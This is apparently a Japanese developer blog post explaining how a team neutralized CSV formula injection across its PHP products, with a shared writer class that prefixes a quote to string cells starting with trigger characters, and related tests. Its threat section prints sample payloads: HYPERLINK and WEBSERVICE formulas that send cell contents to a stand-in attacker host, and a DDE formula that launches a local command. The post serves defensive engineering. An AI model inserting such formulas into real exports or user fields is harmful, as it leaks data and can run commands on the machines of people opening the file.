0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CSV formula injection をフリートから一掃する|PHP 型ベースで中和する

0
Last updated at Posted at 2026-07-20

はじめに

CSV エクスポート機能を持つ PHP アプリを運用している方へ。

「CSV エクスポート」は、どの業務 SaaS にもだいたい付いている地味な機能です。ところがこの地味な機能に、サーバ側のバリデーションを全部すり抜けてくる脆弱性が潜んでいます。CSV formula injection(数式インジェクション、別名 CSV injection)です。

やっかいなのは、これが自分のサーバの問題ではなく、CSV を開いた相手の Excel / Google スプレッドシート / LibreOffice で発火すること。SQL はパラメータバインドしていて、入力バリデーションも通っていて、それでも「正しい CSV」の中に動く exploit を同梱して配ってしまう、という構図です。

私たちは複数プロダクトを横断する共通基盤(社内では NeNe シリーズと呼んでいます)を運用していて、CSV 出力は 6 製品にまたがる手書きの fputcsv 9 か所・バラバラの品質で実装していました。そのうち formula injection を中和していたのは 2 プロダクトだけ。これを 1 つの共通 Writer に集約し、型ベースの中和をデフォルト ON にしてフリート全体から一掃した、という話をコード付きで書きます。

読者としては「CSV エクスポート機能を持っている PHP アプリを書いたことがある実務エンジニア」を想定しています。

この記事で分かること:

  • サーバ側のバリデーションを全部すり抜け、相手の Excel / スプレッドシートで発火する CSV formula injection の仕組み
  • 「列名 allowlist」ではなく「PHP の型(string か否か)」で中和する、列追加に強い型ベース中和
  • fputcsv の空エスケープで RFC 4180 準拠にしつつ PHP 8.4 の deprecation を回避する固定化

脅威 — 振込名義に式が載る

まず攻撃を具体的に。次の文字列を、ごく普通の「表示名」や「振込名義」としてDBに保存させ、あとで管理者が CSV をエクスポートして Excel で開いたとします。

=HYPERLINK("https://evil.example/leak?d="&A1&A2, "Click for refund")
  • =HYPERLINK(...) — クリックすると隣接セルの中身を攻撃者の URL へ送信(情報漏えい)。
  • =WEBSERVICE("https://evil.example/?"&A1) — 古い Excel ではクリック不要で漏えい。
  • =cmd|'/c calc'!A0 — DDE 経由。確認ダイアログの先でローカルコマンドを実行しうる。

スプレッドシートは、セルの先頭文字が = + - @、タブ(\t)、キャリッジリターン(\r)のいずれかだと、その中身を数式として解釈します。攻撃者はこれらで始まる文字列を「名前」欄に入れておくだけでいい。

現実にどこが穴になるか。私たちのフリートの棚卸しでは、ユーザが自由入力できて未保護だったのは以下のような列でした(ADR 0015 のコンテキストより):

  • 送金の振込名義(payer が任意に決められる文字列)と受取メールアドレス
  • 取引先名・カテゴリ
  • 監査ログの before / after(任意のユーザ文字列がそのまま入る — 一番直球の注入経路)
  • 操作者名

どれも「自分のサーバでは無害な文字列」です。SSRF や SQLi と違ってサーバ側では何も起きない。だからこそ、バリデーション層ではなく出力層(エンコード境界)で守る問題になります。

列名 allowlist ではなく型ベース中和

素朴な対策として「この列は危ないから中和する」という列名 allowlist があります。実際、移設前のあるプロダクトはこの方式でした。しかしこれは新しくテキスト列が増えたときに漏れる。列を追加した人が allowlist の存在を知らなければ、その列は無防備で出荷されます。

そこで採ったのが型ベース中和です。「どの列か」ではなく「PHP の型が string かどうか」で中和の要否を決めます。int / float / bool / null は素通し、string だけを中和対象にする。これなら列が増えても string である限り自動的にカバーされ、数値カラムは絶対に壊れません。

実際に共通 Writer Nene2\Export\CsvWriter に入れたコードがこれです(src/Export/CsvWriter.php)。まず中和のトリガー文字を private 定数に固定します。

/** Leading characters that make a spreadsheet treat a cell as a formula. */
private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"];

出力の 1 行を書き出す前に、string のセルだけを中和します。ここが型ベースの核心で、is_string() で振り分けているだけです。

/** @param list<string|int|float|bool|null> $fields */
private function put(array $fields): void
{
    if ($this->sanitizeFormulas) {
        $fields = array_map(
            fn (string|int|float|bool|null $field): string|int|float|bool|null => is_string($field)
                ? $this->neutralize($field)
                : $field,
            $fields,
        );
    }

    fputcsv($this->stream, $fields, ',', '"', self::ESCAPE);
}

/** Prefixes a single quote when a string cell would otherwise parse as a formula. */
private function neutralize(string $value): string
{
    if ($value !== '' && in_array($value[0], self::FORMULA_TRIGGERS, true)) {
        return "'" . $value;
    }

    return $value;
}

やっていることは「先頭 1 文字がトリガーなら '(シングルクオート)を前置する」だけ。Excel はこれでセルをリテラルテキストとして描画します。

ここで判別ケースが効いてきます。テキストの "-1200"(攻撃者が入れうる文字列)と、金額としての整数 -1200 は、同じ「-1200」でも扱いが変わります。

  • 文字列 "-1200"'-1200(string なので中和される)
  • 整数 -1200-1200(int なので素通し。数値のまま壊れない)

テストでもこの 1 点を明示的に固定しています(tests/Export/CsvWriterTest.php)。

public function testStringNegativeIsNeutralisedButNumericNegativeIsNot(): void
{
    // The discriminating case: same textual "-1200", different type => different output.
    $out = $this->render([], [
        ['-1200', -1200],
    ], bom: false);

    self::assertSame(["'-1200,-1200"], $this->dataLines($out));
}

ポイントは、neutralize() の中に is_numeric() チェックを置いていないことです。OWASP のベースライン実装だと「先頭が危険 かつ 数値でない」ものを中和する、という !is_numeric() ガードをよく見ます。単一関数として書くならそれで正しい。しかし Writer は型で先に振り分けているので、数値の素通しは is_string() の側で担保され、neutralize() に渡ってくるのは常に string です。string の "-1200" はためらわず中和する — これが「列 allowlist より強い」型ベースの帰結です。中和はデフォルト ON、コンストラクタで sanitizeFormulas: true が既定値です。

public function __construct(
    $stream,
    private readonly array $headers = [],
    private readonly bool $bom = true,
    private readonly bool $sanitizeFormulas = true,   // 既定で ON
) {
    $this->stream = $stream;
}

信頼できる機械生成データ専用に false の逃げ道は残していますが、安全側がデフォルトです。

PHP 8.4 対策と private 定数化

もう 1 つ、同じ Writer で閉じたのが fputcsv のエスケープ挙動です。RFC 4180 では、フィールド内のダブルクオートは**バックスラッシュではなく二重化("")**で表現します。PHP には歴史的にバックスラッシュ(\)でエスケープするデフォルト挙動があり、これは RFC 4180 に反するうえ Excel が誤パースします。

fputcsv空のエスケープ文字を渡すと、この二重化(RFC 4180 準拠)の挙動になります。そして重要なのが、PHP 8.4 では非空のエスケープ引数が deprecated になったこと。つまりバックスラッシュ方式は「RFC 違反」であると同時に「将来の非互換」でもあり、二重に捨てるべきものになりました。

対策はエスケープを空文字の private 定数に固定することです。

/**
 * RFC 4180 uses no escape character — embedded enclosures are doubled.
 * Passing an empty escape to `fputcsv` selects that behaviour and side-steps
 * PHP 8.4's deprecation of a non-empty escape argument. Intentionally a
 * constant, not a constructor option: exposing it would let a consumer opt
 * back into the deprecated, non-RFC-4180 backslash escaping.
 */
private const ESCAPE = '';

ここをコンストラクタ引数にしなかったのが設計上の肝です。もし escape を外から差し込めるようにすると、利用側が deprecated なバックスラッシュ挙動に戻せてしまう。中和という守りを、設定 1 つで自分から穴に戻せる余地を消すために、あえて設定不可能な private 定数にしています(ADR 0015 では、設計案が escape を引数として提案していたのを、この 1 点だけ意図的に却下した、と明記されています)。

RFC 4180 の丸め込みが効いているかもテストで固定しています。バックスラッシュエスケープ(\")が出力に現れないことまで assert しているのがポイントです。

// Comma-bearing cell is enclosed; embedded quote is doubled (not backslash-escaped).
self::assertStringContainsString('"a,b"', $out);
self::assertStringContainsString('"a""b"', $out);
self::assertStringNotContainsString('\\"', $out);

ついでに、Excel(日本語ロケール)で UTF-8 を文字化けさせないための UTF-8 BOM("\xEF\xBB\xBF")もデフォルト ON のオプションにしていますが、これは中和とは独立した別関心事なので詳細は割愛します。

学び

  • injection は「列」ではなく「値の性質」。「この列だけ危ない」という見立ては、列が増えた瞬間に破れます。型(string か否か)で一律に判定するほうが、新しいテキスト列を取りこぼしません。
  • 中和は出力層(エンコード境界)で一律に。振込名義や監査ログのように「自由入力がそのまま出力に載る」経路は無数にあり、ハンドラごとに気をつける規律は必ずどこかで抜けます。共通 Writer 1 か所に寄せると、採用したプロダクトはその瞬間に全カラムが守られます。
  • 安全を「戻せなくする」。エスケープを private 定数に固定したように、安全なデフォルトを設定で無効化できないようにすると、脆弱性は「規律」ではなく「構造」で閉じます。PHP 8.4 の deprecation 対応も、この固定化で自動的に片付きました。
  • 型ベース中和には見える副作用があります。正当なテキストで - + = @ 始まりのもの(例: -未定 というラベル)には先頭に ' が付きます。数値カラムは型で素通しなので無傷ですが、移設 PR ではゴールデンファイルの回帰テストで「意図した差分(BOM・エスケープ・中和)だけ」が出ることを確認するのが安全です。

一次資料

  • NENE2 ADR 0015: CSV export framework module(Nene2\Export) — 型ベース中和・エスケープ固定・BOM の設計判断と却下案
  • 実装: src/Export/CsvWriter.phpFORMULA_TRIGGERS / ESCAPE / neutralize()
  • テスト: tests/Export/CsvWriterTest.php(判別ケース testStringNegativeIsNeutralisedButNumericNegativeIsNot ほか)
  • PR #1505(Issue #1504): CSV 出力基盤 Nene2\Export\CsvWriter の追加

関連記事

  • セキュリティ系の連作:PHP で SSRF を本気で塞ぐ/リリース前アドバーサリアルレビューを常設する(いずれも公開後にリンク)

── 森 秀之(彩音インターナショナル) 🔗 ayane.co.jp

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?